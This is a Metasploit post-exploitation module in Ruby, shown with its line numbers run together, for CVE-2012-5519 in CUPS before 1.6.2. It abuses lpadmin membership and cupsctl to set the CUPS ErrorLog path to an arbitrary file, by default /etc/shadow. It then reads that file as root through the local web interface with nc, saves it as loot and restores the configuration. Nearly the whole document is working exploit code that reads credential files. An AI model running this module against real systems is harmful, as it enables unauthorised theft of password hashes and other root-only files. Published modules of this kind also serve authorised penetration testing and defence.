Path: blob/master/modules/post/multi/escalate/cups_root_file_read.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78LP_GROUPS = ['lpadmin', '_lpadmin']910attr_accessor :web_server_was_disabled, :error_log_was_reset1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'CUPS 1.6.1 Root File Read',17'Description' => %q{18This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.19CUPS allows members of the lpadmin group to make changes to the cupsd.conf20configuration, which can specify an Error Log path. When the user visits the21Error Log page in the web interface, the cupsd daemon (running with setuid root)22reads the Error Log path and echoes it as plaintext.2324This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.425as long as the session is in the lpadmin group.2627Warning: if the user has set up a custom path to the CUPS error log,28this module might fail to reset that path correctly. You can specify29a custom error log path with the ERROR_LOG datastore option.30},31'References' => [32['CVE', '2012-5519'],33['OSVDB', '87635'],34['URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']35],36'License' => MSF_LICENSE,37'Author' => [38'Jann Horn', # discovery39'joev' # metasploit module40],41'DisclosureDate' => '2012-11-20',42'Platform' => %w[linux osx],43'Notes' => {44'Stability' => [CRASH_SAFE],45'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],46'Reliability' => []47}48)49)50register_options([51OptString.new('FILE', [true, 'The file to steal.', '/etc/shadow']),52OptString.new('ERROR_LOG',53[true, 'The original path to the CUPS error log', '/var/log/cups/error_log'])54])55end5657def check_exploitability58user = cmd_exec('whoami')59user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)60if (user_groups & LP_GROUPS).empty?61print_error 'User not in lpadmin group.'62return Msf::Exploit::CheckCode::Safe63end6465print_good 'User in lpadmin group, continuing...'6667if ctl_path.blank?68print_error 'cupsctl binary not found in $PATH'69return Msf::Exploit::CheckCode::Safe70end7172print_good 'cupsctl binary found in $PATH'7374nc_path = whereis('nc')75if nc_path.nil? || nc_path.blank?76print_error 'Could not find nc executable'77return Msf::Exploit::CheckCode::Unknown78end7980print_good 'nc binary found in $PATH'8182config_path = whereis('cups-config')83config_vn = nil8485if config_path.nil? || config_path.blank?86# cups-config not present, ask the web interface what vn it is87output = get_request('/')88if output =~ /title.*CUPS\s+([\d.]+)/i89config_vn = ::Regexp.last_match(1).strip90end91else92config_vn = cmd_exec('cups-config --version').strip # use cups-config if installed93end9495if config_vn.nil?96print_error 'Could not determine CUPS version.'97return Msf::Exploit::CheckCode::Unknown98end99100print_status "Found CUPS #{config_vn}"101102config_parts = config_vn.split('.')103if (config_vn.to_f < 1.6) || ((config_vn.to_f <= 1.6) && (config_parts[2].to_i < 2)) # <1.6.2104Msf::Exploit::CheckCode::Vulnerable105else106Msf::Exploit::CheckCode::Safe107end108end109110def run111if check_exploitability == Msf::Exploit::CheckCode::Safe112print_error 'Target machine not vulnerable, bailing.'113return114end115116defaults = cmd_exec(ctl_path)117@web_server_was_disabled = defaults =~ /^WebInterface=no$/i118119# first we set the error log to the path intended120cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")121cmd_exec("#{ctl_path} WebInterface=yes")122@error_log_was_reset = true123124# now we go grab it from the ErrorLog route125file = strip_http_headers(get_request('/admin/log/error_log'))126127# and store as loot128f = File.basename(datastore['FILE'])129loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)130print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")131end132133def cleanup134print_status 'Cleaning up...'135cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled136cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset137ensure138super139end140141private142143def prev_error_log_path144datastore['ERROR_LOG']145end146147def ctl_path148@ctl_path ||= whereis('cupsctl')149end150151def strip_http_headers(http)152http.gsub(/\A(^.*\r\n)*/, '')153end154155def whereis(exe)156line = cmd_exec("whereis #{exe}")157if line =~ /^\S+:\s*(\S*)/i158::Regexp.last_match(1) # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"159else160line # on osx it just returns '/usr/sbin/cupsctl'161end162end163164def get_request(uri)165output = perform_request(uri, 'nc -j localhost 631')166167if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/168output = perform_request(uri, 'nc localhost 631')169end170171output172end173174def perform_request(uri, nc_str)175# osx requires 3 newlines!176cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))177end178end179180181